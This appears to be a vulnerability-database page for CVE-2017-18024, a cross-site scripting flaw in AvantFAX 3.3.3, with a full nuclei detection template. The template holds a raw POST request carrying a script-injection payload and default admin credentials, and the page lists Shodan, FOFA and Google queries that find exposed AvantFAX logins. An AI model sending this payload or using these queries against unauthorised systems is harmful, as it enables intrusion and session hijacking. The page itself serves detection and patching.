HexBrain

Browse / CVEs / CVE-2017-18024

CVE-2017-18024· avantfax / avantfax· CWE-79

AvantFAX 3.3.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: POST /
Positive when: contains "<script>alert(\"{{randstr}}\")</script>" and "AvantFAX" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-18024 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-18024

info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/NarbehJackson/Java-Xss-minitwit16
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.04531
    epss-percentile: 0.91631
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
    shodan-query: http.title:"avantfax - login"
    fofa-query: title="avantfax - login"
    google-query: intitle:"avantfax - login"
  tags: cve,cve2017,avantfax,hackerone,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from